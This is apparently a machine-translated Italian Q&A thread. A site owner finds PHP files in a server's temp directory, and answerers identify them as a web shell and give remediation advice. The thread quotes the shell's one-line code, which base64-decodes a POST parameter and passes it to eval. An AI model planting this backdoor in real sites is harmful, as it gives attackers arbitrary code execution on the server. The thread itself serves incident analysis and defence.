2015-12-01 16 views
6

ho notato che la nostra directory temp ha un certo numero di quelli che sembrano essere i file temporanei con nomi come phpA3F9.tmpcodice PHP contenute nei file phpXXXX.tmp nella directory temp

Esaminando il contenuto trovo un numero seguito da qualche codice PHP, il seguente codice appare in diversi file

9990000  
<?php 
    $mujj = $_POST['z']; if ($mujj!="") { $xsser=base64_decode($_POST['z0']); @eval("\$safedg = $xsser;"); } ?> 

Questo sembra essere un tentativo di attacco, ma presumo si basa su l'attaccante in grado di eseguire il codice nella cartella tmp.

Qualcuno può spiegare cosa sta succedendo qui? Quali sono i rischi? Come si inseriscono questi file nella cartella tmp? E come posso fermarli?

Non so se è rilevante, ma ci sono in esecuzione di PHP 5.5 su IIS

+0

Quel nome file mi ricorda i file temporanei MSIE –

+0

Probabilmente vengono caricati sul server da un utente malintenzionato e, se il tuo "upload_tmp_dir" punta alla directory temporanea, sembra che qualcuno stia tentando di caricare codice dannoso sul server. Questi file vengono cancellati dopo l'esecuzione dello script. – vitozev

risposta

5

Breve storia: il server potrebbe essere già stata compromessa.

Questi sono shell PHP, per lo più innocui, ma se entrano nella root Web, consentono a un utente malintenzionato di eseguire qualsiasi codice arbitrario sul server.

Le parti fondamentali per comprendere la scocca sono:

$xsser=base64_decode($_POST['z0']); 
@eval("\$safedg = $xsser;"); 

accetta alcun codice da una variabile $_POST, base64_decode s, e quindi esegue attraverso eval mentre la soppressione degli errori.

È possibile che vengano caricati tramite un modulo sul tuo sito e scaricati nella cartella temporanea come passaggio intermedio, con la speranza che vengano spostati in una posizione accessibile dal Web. L'altra opzione è che c'è già una shell o un rootkit sul server, e sta mettendo quei file in qualsiasi cartella scrivibile che possa trovare.

Quindi cosa fare a riguardo? Controlla i log del tuo server: se vedi delle connessioni riuscite con uno script che non riconosci, potresti essere compromesso. Cerca eventuali moduli di caricamento sul tuo sito e bloccali (richiedono l'autenticazione dell'utente, ecc.), Quindi, se sei sicuro di essere compromesso, non preoccuparti di cercare di pulirlo. Crea un nuovo server, esegui la migrazione del tuo codice pulito, dei file importanti e dei dati nel server di pulizia .

+0

ben spiegato –

+0

Ero abituato a lavorare per una società di sviluppo + hosting, e dovevamo mettere in quarantena i siti Joomla sul proprio server perché ogni poche settimane ogni sito si ritrovava con una copia di 'c99.php' (o qualcosa di simile). Entrano in un unico sito, quindi si diffondono su qualsiasi altra cartella scrivibile in tutto il mondo sul server, potendo così agire come qualsiasi utente che abbia un sito web. Alla fine eseguimmo un cron che calpestava le cartelle scrivibili in tutto il mondo - brutte, ma conteneva infezioni su un solo sito alla volta. – samlev